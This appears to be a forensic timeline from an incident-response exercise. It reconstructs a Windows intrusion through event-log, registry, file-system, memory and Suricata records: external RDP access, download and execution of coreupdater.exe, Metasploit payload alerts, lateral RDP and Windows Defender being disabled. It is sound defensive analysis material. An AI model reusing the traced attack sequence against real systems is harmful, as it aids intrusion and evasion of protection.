2020-09-18 22:55:33.992616	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Remote Desktop Users (S-1-5-32-555) | SubjectLogonId: 0x438E75 | MemberName: - | MemberSid: S-1-5-21-2232410529-1445159330-2725690660-500 | PrivilegeList: -	evtxecmd/evtxecmd_0.csv#38829	F:\Windows\System32\winevt\logs\Security.evtx	F-022, T-019
2020-09-18 22:55:33.996906	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Remote Desktop Users (S-1-5-32-555) | SubjectLogonId: 0x438E75 | MemberName: - | MemberSid: S-1-5-21-2232410529-1445159330-2725690660-512 | PrivilegeList: -	evtxecmd/evtxecmd_0.csv#38830	F:\Windows\System32\winevt\logs\Security.evtx	F-022
2020-09-18 22:55:33.998901	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Remote Desktop Users (S-1-5-32-555) | SubjectLogonId: 0x438E75 | MemberName: - | MemberSid: S-1-5-21-2232410529-1445159330-2725690660-513 | PrivilegeList: -	evtxecmd/evtxecmd_0.csv#38831	F:\Windows\System32\winevt\logs\Security.evtx	F-022
2020-09-18 22:55:34.000371	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Remote Desktop Users (S-1-5-32-555) | SubjectLogonId: 0x438E75 | MemberName: - | MemberSid: S-1-5-21-2232410529-1445159330-2725690660-1108 | PrivilegeList: -	evtxecmd/evtxecmd_0.csv#38832	F:\Windows\System32\winevt\logs\Security.evtx	F-022, T-019
2020-09-18 22:56:15.503156	Registry: ProfileList	Profile: last logoff C:\Users\ricksanchez S-1-5-21-2232410529-1445159330-2725690660-1106	recmd_kroll/20261025191813/ recmd_kroll_F_ProfileList.csv#4		F-001
2020-09-18 22:59:58.124958	Registry: ProfileList	Profile: last logon C:\Users\mortysmith S-1-5-21-2232410529-1445159330-2725690660-1108	recmd_kroll/20261025191813/ recmd_kroll_F_ProfileList.csv#5		F-001
2020-09-18 23:07:44	LNK files	Target: created (recorded in the LNK) ; Target: modified (recorded in the LNK) C:\Users\mortysmith\Documents\Portal_gun.png machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=B0E0E8FF Fixed storage media (Hard drive) size=130678	lecmd/lnk_F.csv#15	F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\Portal_gun.lnk	F-013, T-012
2020-09-19 01:24:04.500156	Jump Lists (automatic)	Jump List: entry created (≈ first opened) C:\Users\mortysmith\Documents\loot.zip Quick Access interactions=1 machine=desktop-sdn1rpt	jlecmd/ 20261025191825_AutomaticDestinations.csv#9	F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms	F-026
2020-09-19 01:24:04.500197	Jump Lists (automatic)	Jump List: entry created (≈ first opened) E:\DESKTOP-SDN1RPT\Protected Files Windows Explorer Windows 8.1 interactions=1 machine=desktop-sdn1rpt	jlecmd/ 20261025191825_AutomaticDestinations.csv#41	F:\Users\ricksanchez\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms	F-028
2020-09-19 01:24:04.797835	Event logs (EVTX)	EVTX event System 12 | Microsoft-Windows-Kernel-General | OS was started | StartTime: 2020-09-19 01:24:04.5000000 | BootMode: Normal boot	evtxecmd/evtxecmd_0.csv#40528	F:\Windows\System32\winevt\logs\System.evtx	F-001, T-002
2020-09-19 01:24:09.020263	Event logs (EVTX)	EVTX event System 6005 | EventLog | The Event log service was started | Computer: DESKTOP-SDN1RPT.C137.local	evtxecmd/evtxecmd_0.csv#40524	F:\Windows\System32\winevt\logs\System.evtx	T-002
2020-09-19 01:54:37.447633	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2020-09-19 01:54:37.4418021 | NewTime: 2020-09-19 01:54:37.4469563 | LogonId: 0x3E5 | C:\Windows\System32\svchost.exe	evtxecmd/evtxecmd_0.csv#39495	F:\Windows\System32\winevt\logs\Security.evtx	F-004, F-032
2020-09-19 02:19:26.619607	Network events (Suricata)	network event rdp TCP 10.42.85.10:3389 -> 194.61.24.102:38100	suricata/case001.pcap/ eve_rdp.jsonl#1	case001.pcap	F-018, T-014
2020-09-19 02:21:26.344228	Network events (Suricata)	network event rdp TCP 10.42.85.10:3389 -> 194.61.24.102:40046	suricata/case001.pcap/ eve_rdp.jsonl#3	case001.pcap	F-018, T-014

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
2020-09-19 02:21:27.226262	Detection Suricata	low ET INFO RDP - Response To External Host | TCP 10.42.85.10:3389 -> 194.61.24.102:40054 | Misc activity | 1:APtj1Vt0V/H9g6mkVjcfylB8rkU= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#32	case001.pcap	F-011, I-003
2020-09-19 02:24:06.939835	Detection Suricata	medium ET INFO Executable Download from dotted-quad Host | TCP 10.42.85.10:62410 -> 194.61.24.102:80 | Potentially Bad Traffic | 1:u/j8zDTczy431sRgtCbNVlYztwk= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#306	case001.pcap	F-011
2020-09-19 02:24:06.940063	HTTP (Suricata)	HTTP request /coreupdater.exe http_hostname=194.61.24.102 | http_http_method=GET | http_status=200 | http_http_user_agent=Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko | http_http_content_type=application/x-msdos-program | http_length=7168 | src_ip=10.42.85.10 | dest_ip=194.61.24.102	suricata/case001.pcap/ eve_http.jsonl#121	case001.pcap	I-010
2020-09-19 02:24:06.940653	Files transferred (Suricata)	file transferred over the network /coreupdater.exe app_proto=http | http_hostname=194.61.24.102 | src_ip=194.61.24.102 | dest_ip=10.42.85.10 | fileinfo_size=7168 | fileinfo_sha256=10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6 | fileinfo_md5=eed41b4500e473f97c50c7385ef5e374 | fileinfo_state=CLOSED	suricata/case001.pcap/ eve_fileinfo.jsonl#106	case001.pcap	F-011, F-018, T-015
2020-09-19 02:25:18.565676	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.10:62414 -> 203.78.103.109:443 failed state=closed bytes=51044/932653	suricata/case001.pcap/ eve_flow.jsonl#27979	case001.pcap	T-015
2020-09-19 02:25:19.071794	Detection Suricata	high ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server) | TCP 203.78.103.109:443 -> 10.42.85.10:62414 | A Network Trojan was detected | 1:AEtaQJ4Pfkk0lfr1mrIy2qsaW8Q= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#72	case001.pcap	F-011
2020-09-19 02:35:55.285340	Network flows (Suricata)	network flow: start 10.42.85.115 TCP 10.42.85.10:62514 -> 10.42.85.115:3389 rdp state=closed bytes=875256/452944	suricata/case001.pcap/ eve_flow.jsonl#21411	case001.pcap	F-018
2020-09-19 02:35:55.347240	Network events (Suricata)	network event rdp TCP 10.42.85.115:3389 -> 10.42.85.10:62514	suricata/case001.pcap/ eve_rdp.jsonl#281	case001.pcap	F-006, F-011, F-024
2020-09-19 02:36:23.467377	Network events (Suricata)	network event rdp TCP 10.42.85.10:62514 -> 10.42.85.115:3389	suricata/case001.pcap/ eve_rdp.jsonl#284	case001.pcap	F-006
2020-09-19 02:36:23.515604	Network flows (Suricata)	network flow: start 10.42.85.115 UDP 10.42.85.10:63121 -> 10.42.85.115:3389 failed state=established bytes=283842/6695207	suricata/case001.pcap/ eve_flow.jsonl#31238	case001.pcap	F-018, F-031, I-019
2020-09-19 02:39:05.286189	TLS (Suricata)	TLS handshake microsoftedgewelcome.microsoft.com tls_sni=microsoftedgewelcome.microsoft.com | dest_ip=52.171.136.200 | dest_port=443 | tls_version=TLS 1.2 | tls_subject=C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=microsoftedgewelcome.microsoft.com | tls_issuerdn=C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 2 | tls_ja3_hash=10ee8d30a5d01c042afd7b2b205facc4 | tls	suricata/case001.pcap/ eve_tls.jsonl#16207	case001.pcap	F-029
2020-09-19 02:39:26.940438	HTTP (Suricata)	HTTP request / http_hostname=194.61.24.102 | http_http_method=GET | http_status=200 | http_http_user_agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041 | http_http_content_type=text/html | http_length=228 | src_ip=10.42.85.115 | dest_ip=194.61.24.102	suricata/case001.pcap/ eve_http.jsonl#153	case001.pcap	F-029, F-032, I-015, T-026
2020-09-19 02:39:26.941704	Files transferred (Suricata)	file transferred over the network / app_proto=http | http_hostname=194.61.24.102 | src_ip=194.61.24.102 | dest_ip=10.42.85.115 | fileinfo_size=228 | fileinfo_sha256=6978f8fa2bf5afbe1a074401b923ead519ce89471d83376f5cfda50c12bc2d77 | fileinfo_md5=614645af648513231c283090faa5c469 | fileinfo_state=CLOSED	suricata/case001.pcap/ eve_fileinfo.jsonl#137	case001.pcap	F-029, I-015
2020-09-19 02:39:58.411351	Detection Suricata	medium ET INFO Executable Download from dotted-quad Host | TCP 10.42.85.115:50864 ->	suricata/case001.pcap/ eve_alert.jsonl#442	case001.pcap	I-003

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		194.61.24.102:80 | Potentially Bad Traffic | 1:jol6Y9tRe9v45mCCcFMHMI7rx+A= | case001.pcap			
2020-09-19 02:39:58.411571	HTTP (Suricata)	HTTP request /coreupdater.exe http_hostname=194.61.24.102 | http_http_method=GET | http_status=200 | http_http_user_agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041 | http_http_content_type=application/x-msdos-program | http_length=7168 | src_ip=10.42.85.115 | dest_ip=194.61.24.102	suricata/case001.pcap/ eve_http.jsonl#156	case001.pcap	F-008, F-017, F-029, I-010
2020-09-19 02:39:58.412735	Files transferred (Suricata)	file transferred over the network /coreupdater.exe app_proto=http | http_hostname=194.61.24.102 | src_ip=194.61.24.102 | dest_ip=10.42.85.115 | fileinfo_size=7168 | fileinfo_sha256=10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6 | fileinfo_md5=eed41b4500e473f97c50c7385ef5e374 | fileinfo_state=CLOSED	suricata/case001.pcap/ eve_fileinfo.jsonl#138	case001.pcap	F-008, F-017, F-029, I-001, I-009, T-006
2020-09-19 02:39:58.412735	Detection Suricata	medium ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response | TCP 194.61.24.102:80 -> 10.42.85.115:50864 | Potentially Bad Traffic | 1:jol6Y9tRe9v45mCCcFMHMI7rx+A= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#444	case001.pcap	F-017
2020-09-19 02:40:45.794820	TLS (Suricata)	TLS handshake checkappexec.microsoft.com tls_sni=checkappexec.microsoft.com | dest_ip=23.98.151.170 | dest_port=443 | tls_version=TLS 1.2 | tls_subject=CN=smartscreen.microsoft.com | tls_issuerdn=C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 1 | tls_ja3_hash=28a2c9bd18a11de089ef85a160da29e4 | tls_ja3s_hash=986571066668055ae9481cb84fda634a | tls_ja4=t12d1909h2_d83cc789557e_7af1ed941c26	suricata/case001.pcap/ eve_tls.jsonl#16329	case001.pcap	F-029
2020-09-19 02:40:49.936293	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50875 -> 203.78.103.109:443 failed state=established bytes=280374/1764209	suricata/case001.pcap/ eve_flow.jsonl#29788	case001.pcap	F-008, F-015, F-017, F-031, F-032, T-007, T-025, T-027
2020-09-19 02:40:49.938222	TLS (Suricata)	TLS handshake checkappexec.microsoft.com tls_sni=checkappexec.microsoft.com | dest_ip=23.98.151.170 | dest_port=443 | tls_version=TLS 1.2 | tls_subject=CN=smartscreen.microsoft.com | tls_issuerdn=C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 1 | tls_ja3_hash=28a2c9bd18a11de089ef85a160da29e4 | tls_ja3s_hash=986571066668055ae9481cb84fda634a | tls_ja4=t12d1909h2_d83cc789557e_7af1ed941c26	suricata/case001.pcap/ eve_tls.jsonl#16333	case001.pcap	F-029, T-023
2020-09-19 02:40:50.282950	Detection Suricata	high ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server) | TCP 203.78.103.109:443 -> 10.42.85.115:50875 | A Network Trojan was detected | 1:pcNgXsCjc/vxVdVvPl9FwJBoPrA= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#446	case001.pcap	F-008, F-017, I-004
2020-09-19 03:13:20.501601	Event logs (EVTX)	EVTX event System 1 | Microsoft-Windows-Kernel-General | The system time was changed | OldTime: 2020-09-19 01:54:39.6645222 | NewTime: 2020-09-19 03:13:20.5000000 | Reason: System time synchronized with the hardware clock.	evtxecmd/evtxecmd_0.csv#40808	F:\Windows\System32\winevt\logs\ System.evtx	F-030, F-032
2020-09-19 03:13:28.318873	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2020-09-19 03:13:28.3154393 | NewTime: 2020-09-19 03:13:28.3183014 | LogonId: 0x3E5 | C:\Windows\System32\svchost.exe	evtxecmd/evtxecmd_0.csv#39496	F:\Windows\System32\winevt\logs\ Security.evtx	F-030, F-032
2020-09-19 03:15:57.313394	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | ProductName=Windows 10 Enterprise Evaluation	recmd_kroll/recmd_kroll_F.csv#7190	F:\Windows\System32\config\ SOFTWARE	F-001
2020-09-19 03:15:57.313394	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion	recmd_kroll/recmd_kroll_F.csv#7191	F:\Windows\System32\config\ SOFTWARE	F-001

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		System Info | System Info (Current) | InstallDate=2020-09-18 05:47:03.0000000			
2020-09-19 03:15:57.313394	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | CurrentBuild=19041	recmd_kroll/recmd_kroll_F.csv#7196	F:\Windows\System32\config\SOFTWARE	F-001
2020-09-19 03:15:57.342764	Registry: ProfileList	Profile: last logon C:\Users\Admin S-1-5-21-41211245-796119838-3940169921-1001	recmd_kroll/20261025191813/recmd_kroll_F_ProfileList.csv#7		F-001
2020-09-19 03:17:00.621295	Event logs (EVTX)	EVTX event Security 4647 | Microsoft-Windows-Security-Auditing | User initiated logoff | LogonId: 0x70C125	evtxecmd/evtxecmd_0.csv#39544	F:\Windows\System32\winevt\logs\Security.evtx	F-021
2020-09-19 03:17:00.952531	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\Terminal Server Threat Hunting | RDP Connections Status | fDenyTSConnections=0	recmd_kroll/recmd_kroll_F.csv#7138	F:\Windows\System32\config\SYSTEM	F-022
2020-09-19 03:35:54.789286	Event logs (EVTX)	EVTX event Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational 131 | Microsoft-Windows-RemoteDesktopServices-RdpCoreTS | RDP server accepted a new TCP connection | Connection Type: TCP | 10.42.85.10:62514	evtxecmd/evtxecmd_0.csv#16805	F:\Windows\System32\winevt\logs\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Operational.evtx	F-006, F-011
2020-09-19 03:36:22.980909	Event logs (EVTX)	EVTX event - Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137.LOCAL\Administrator | LogonType 3 | LogonId: 0x842184 | AuthenticationPackageName: Kerberos | LogonProcessName: Kerberos | - | - (10.42.85.10)	evtxecmd/evtxecmd_0.csv#39563	F:\Windows\System32\winevt\logs\Security.evtx	F-006, F-011, F-018, F-023
2020-09-19 03:36:23.009739	Event logs (EVTX)	EVTX event Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational 1149 | Microsoft-Windows-TerminalServices-RemoteConnectionManager | RDP network connection established | 10.42.85.10	evtxecmd/evtxecmd_0.csv#34902	F:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx	F-006, F-022, T-004
2020-09-19 03:36:24.432948	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\Administrator | LogonType 10 | LogonId: 0x857E73 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\svchost.exe | DESKTOP-SDN1RPT (10.42.85.10)	evtxecmd/evtxecmd_0.csv#39576	F:\Windows\System32\winevt\logs\Security.evtx	F-001, F-006, F-018, F-023, I-013, I-019, T-004
2020-09-19 03:36:24.432948	Detection Chainsaw	critical RDP logon | {"AuthenticationPackageName":"Negotiate","LogonProcessName":"User32 ","TargetOutboundDomainName":"-","TargetLinkedLogonId":"0x0","LmPackageName":"-","TargetDomainName":"C137","SubjectUserName":"DESKTOP-SDN1RPT$","TargetUserSid":"S-1-5-21-2232410529-1445159330-2725690660-500","IpAddress":"10.42.85.10","KeyLength":0,"SubjectLogonId":"0x3e7","TargetLogonId":"0x857e73","ElevatedToken":"%%1	chainsaw/chainsaw_0.jsonl#92	F:\Windows\System32\winevt\logs\Security.evtx	F-006
2020-09-19 03:36:24.432952	Event logs (EVTX)	EVTX event Security 4672 | Microsoft-Windows-Security-Auditing | Administrative logon | PrivilegeList: SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeDelegateSessionUserImpersonatePrivilege | LogonId: 0x857E73	evtxecmd/evtxecmd_0.csv#39577	F:\Windows\System32\winevt\logs\Security.evtx	F-023
2020-09-19 03:36:56.014782	Event logs (EVTX)	EVTX event Microsoft-Windows-WinRM/Operational 145 | Microsoft-Windows-WinRM	evtxecmd/evtxecmd_0.csv#36922	F:\Windows\System32\winevt\logs\Microsoft-Windows-WinRM%4Operational.evtx	F-024
2020-09-19 03:37:00.089782	Event logs (EVTX)	EVTX event Microsoft-Windows-WinRM/Operational 142 | Microsoft-Windows-WinRM	evtxecmd/evtxecmd_0.csv#36925	F:\Windows\System32\winevt\logs\Microsoft-Windows-WinRM%4Operational.evtx	F-024
2020-09-19 03:37:35.302000	OneDrive (ODL logs)	OneDrive: log entry UX.RequiredSignIn EventMachine.cpp EvtMachine::EventMachine::FireEvent UX.RequiredSignIn (SyncEngine-2020-09-19.0337.6904.1.aodl)	odl/odl_Administrator_Personal.csv#1398		F-031
2020-09-19 03:39:29	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge Directory listing for / (Microsoft Edge) http://194.61.24.102/ (http://194.61.24.102/)	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db	F-027, F-029, I-015, T-026

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		type=ExecuteOpen	L.Administrator/ 20261025201827_Administrator_Activity.csv#7		
2020-09-19 03:39:29	Windows Search (activity history)	Activity: start http://194.61.24.102/ Microsoft Edge Directory listing for / Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge	sidr/DESKTOP-SDN1RPT_Activity_History_Report_20261025_191826.918732700.csv#29	F:\ProgramData\Microsoft\search\data\applications\windows\Windows.edb	F-027, F-029
2020-09-19 03:39:38	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified Microsoft.Windows.SecHealthUI_cw5n1h2txyewy!SecHealthUI Windows Security type=ExecuteOpen	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#9	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db	F-007, F-027
2020-09-19 03:39:38	Windows Timeline (ActivitiesCache)	Activity: start Microsoft.Windows.SecHealthUI_cw5n1h2txyewy!SecHealthUI type=InFocus duration=00:00:16	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#10	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db	F-007
2020-09-19 03:39:44.301917	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Real-Time Protection Threat Hunting | Windows Defender | DisableRealtimeMonitoring=1	recmd_kroll/recmd_kroll_F.csv#8622	F:\Windows\System32\config\SOFTWARE	F-007, F-030, T-005, T-024
2020-09-19 03:39:45.247000	Detection Hayabusa	high Windows Defender Real-time Protection Disabled | {"Product Name":"%%827","Product Version":"4.18.2009.2"} | {}	hayabusa/hayabusa_0.jsonl#782	F:\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-007
2020-09-19 03:39:45.247925	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5001 | Microsoft-Windows-Windows Defender | Real-time Protection was disabled | %%827	evtxecmd/evtxecmd_0.csv#35493	F:\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-007, F-030, T-005
2020-09-19 03:39:46.680210	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x2 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x0	evtxecmd/evtxecmd_0.csv#35494	F:\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-007
2020-09-19 03:39:47.699207	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent = 0x1 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent = 0x0	evtxecmd/evtxecmd_0.csv#35495	F:\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-007
2020-09-19 03:39:47.785620	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Spynet Antivirus | Windows Defender | SpyNetReporting=0	recmd_kroll/recmd_kroll_F.csv#8618	F:\Windows\System32\config\SOFTWARE	F-007
2020-09-19 03:39:47.785620	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Spynet Antivirus | Windows Defender | SubmitSamplesConsent=0	recmd_kroll/recmd_kroll_F.csv#8619	F:\Windows\System32\config\SOFTWARE	F-007
2020-09-19 03:39:49.843705	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = 0x1 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = 0x4	evtxecmd/evtxecmd_0.csv#35496	F:\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-007, F-030, T-024
2020-09-19 03:39:57.907806	$UsnJrnl:$J	USN $J F:\Users\Administrator\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\ELJ4KX67\coreupdater[1].exe FileCreate [Archive|NotContentIndexed] entry=24493-3	mftecmd_usnjrnl/usnjrnl.csv#35845	F:\$Extend\$J	F-008, F-029, I-018, T-006
2020-09-19 03:40:00.691657	$MFT	$SI creation (B) F:\Windows\System32\coreupdater.exe size=7168	mftecmd_mft/mft.csv#27972	F:\$MFT	F-008, F-029, F-030, I-005, T-023
2020-09-19 03:40:00.691657	Registry (RECmd Kroll)	Registry: key last written ROOT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU	recmd_kroll/recmd_kroll_F.csv#847	F:\Users\Administrator\NTUSER.DAT	F-008

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		User Activity | OpenSavePidlMRU | 0=Extension: exe Absolute path: This PC\Downloads\ coreupdater.exe | Opened: 2020-09-19 03:40:00.6916578 | MRU: 0 Details: Type: Root folder: GUID, Value: This PC Type: Root folder: GUID, Value: Downloads Short name: coreupdater.exe Type: File, Value: coreupdater.exe Extension blocks found: 1 ---------- Block 0 (Beef0004)----------			
2020-09-19 03:40:00.691657	Registry: OpenSavePidlMRU	Opened/saved via dialog box This PC\Downloads\coreupdater.exe * mru=0	recmd_kroll/20261025191813/ recmd_kroll_F_OpenSavePidlMRU.csv #1		F-012
2020-09-19 03:40:00.691657	Registry: OpenSavePidlMRU	Opened/saved via dialog box This PC\Downloads\coreupdater.exe exe mru=0	recmd_kroll/20261025191813/ recmd_kroll_F_OpenSavePidlMRU.csv #2		F-027, F-029, T-020
2020-09-19 03:40:00.691657	Registry: LastVisitedPidlMRU	Folder used by an application (dialog box) This PC\Downloads appli=PickerHost.exe mru=0	recmd_kroll/20261025191813/ recmd_kroll_F_LastVisitedPidlMRU.csv #1		F-027
2020-09-19 03:40:00.847956	$UsnJrnl:$J	USN $J F:\Users\Administrator\Downloads\coreupdater.exe.b1jhvkh.partial FileCreate [Archive] entry=26213-4	mftecmd_usnjrnl/usnjrnl.csv#35860	F:\$Extend\$J	F-027, F-029, I-018
2020-09-19 03:40:00.863618	$UsnJrnl:$J	USN $J F:\Users\Administrator\Downloads\coreupdater.exe RenameNewName|Close [Archive] entry=26213-4	mftecmd_usnjrnl/usnjrnl.csv#35889	F:\$Extend\$J	F-008, F-029
2020-09-19 03:40:00.863618	$UsnJrnl:$J	USN $J F:\Users\Administrator\Downloads\coreupdater.exe.b1jhvkh.partial NamedDataExtend|StreamChange [Archive] entry=26213-4	mftecmd_usnjrnl/usnjrnl.csv#35876	F:\$Extend\$J	F-029
2020-09-19 03:40:09	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: end ; Activity: last modified Microsoft.Windows.Explorer type=CopyPaste	wxtcmd/F/Users/Administrator/ AppData/Local/ ConnectedDevicesPlatform/ L.Administrator/ 20261025201827_Administrator_Activity.csv#11	F:\Users\Administrator\AppData\Local\ ConnectedDevicesPlatform\ L.Administrator\ActivitiesCache.db	F-027
2020-09-19 03:40:42.254194	$UsnJrnl:$J	USN $J F:\Windows\System32\coreupdater.exe RenameNewName [Archive] entry=26213-4	mftecmd_usnjrnl/usnjrnl.csv#35942	F:\$Extend\$J	F-008, F-027, F-029, T-006, T-020
2020-09-19 03:40:45.191906	Amcache (files)	Amcache: file key written (≈ first execution / presence) c:\windows\system32\coreupdater.exe coreupdater.exe SHA1=fd153c66386ca93ec9993d66a84d6f0d129a3a5c compiled=2010-04-14 22:06:53.0000000 app=Unassociated	amcacheparser/ 20261025201808_Amcache_UnassociatedFileEntries.csv#2	F:\Windows\AppCompat\Programs\ Amcache.hve	F-008, F-011, F-012, F-017, I-002
2020-09-19 03:40:49	Memory: process scan	process created (memory, psscan)	volatility/	C:\Sleuthline\cases\test04\memory\	F-008, F-012,

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
	(psscan)	coreupdater.ex PID=8324 | PPID=4008 | ImageFileName=coreupdater.ex | SessionId=3	windows.psscan.PsScan.jsonl#167	DESKTOP-SDN1RPT.mem	F-032, T-007, T-027
2020-09-19 03:40:49	Memory: process list (pslist)	process created (memory, pslist) coreupdater.ex PID=8324 | PPID=4008 | ImageFileName=coreupdater.ex | SessionId=3 | Threads=0	volatility/ windows.pslist.PsList.jsonl#50	C:\Sleuthline\cases\test04\memory\ DESKTOP-SDN1RPT.mem	F-015
2020-09-19 03:40:49.317328	$UsnJrnl:$J	USN $J F:\Windows\System32\coreupdater.exe StreamChange [Archive] entry=26213-4	mftecmd_usnjrnl/usnjrnl.csv#36064	F:\$Extend\$J	F-029, T-023
2020-09-19 03:40:49.347000	Registry: UserAssist	Execution (UserAssist, last) {System}\coreupdater.exe runs=1 focus=0 focus_time=0d, 0h, 00m, 00s	recmd_kroll/20261025191813/ recmd_kroll_F_UserAssist.csv#39		F-012
2020-09-19 03:40:49.410320	Prefetch	Execution (Prefetch, last) COREUPDATER.EXE runs=1 hash=157C54BB False	pecmd/prefetch_0.csv#22	F:\Windows\prefetch\ COREUPDATER.EXE-157C54BB.pf	F-008, F-012, T-007
2020-09-19 03:41:06.504000	Registry: UserAssist	Execution (UserAssist, last) {System}\cmd.exe runs=1 focus=1 focus_time=0d, 0h, 03m, 35s	recmd_kroll/20261025191813/ recmd_kroll_F_UserAssist.csv#41		F-012, T-011
